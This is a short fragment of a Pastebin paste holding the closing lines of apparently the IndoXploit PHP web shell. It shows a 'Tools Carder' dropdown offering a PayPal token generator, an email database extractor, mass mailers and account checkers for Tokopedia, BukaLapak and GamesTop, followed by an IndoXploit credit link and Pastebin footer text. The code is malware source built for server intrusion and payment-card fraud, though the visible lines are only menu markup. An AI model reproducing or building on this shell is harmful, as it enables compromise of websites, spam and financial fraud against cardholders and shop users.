  3931. <option selected='selected' value=''> Tools Carder </option>
  3932. <option value='$ling=extractor'>DB Email Extractor</option>
  3933. <option value='$ling=promailerv2'>Pro Mailer V2</option>
  3934. <option value='$ling=bukalapak'>BukaLapak Checker</option>
  3935. <option value='$ling=tokopedia'>TokoPedia Checker</option>
  3936. <option value='$ling=tokenpp'>Paypal Token Generator</option>
  3937. <option value='$ling=mailer'>Mailer</option>
  3938. <option value='$ling=gamestopceker'>GamesTop Checker</option>
  3939. </select>
  3940. <noscript><input type='submit' value='Submit'></noscript>
  3941. </form>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/'
  3942.  
  3943. target='_blank'><font color=lime>IndoXploit</font></a> </center>";
  3944. ?>
  3945. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!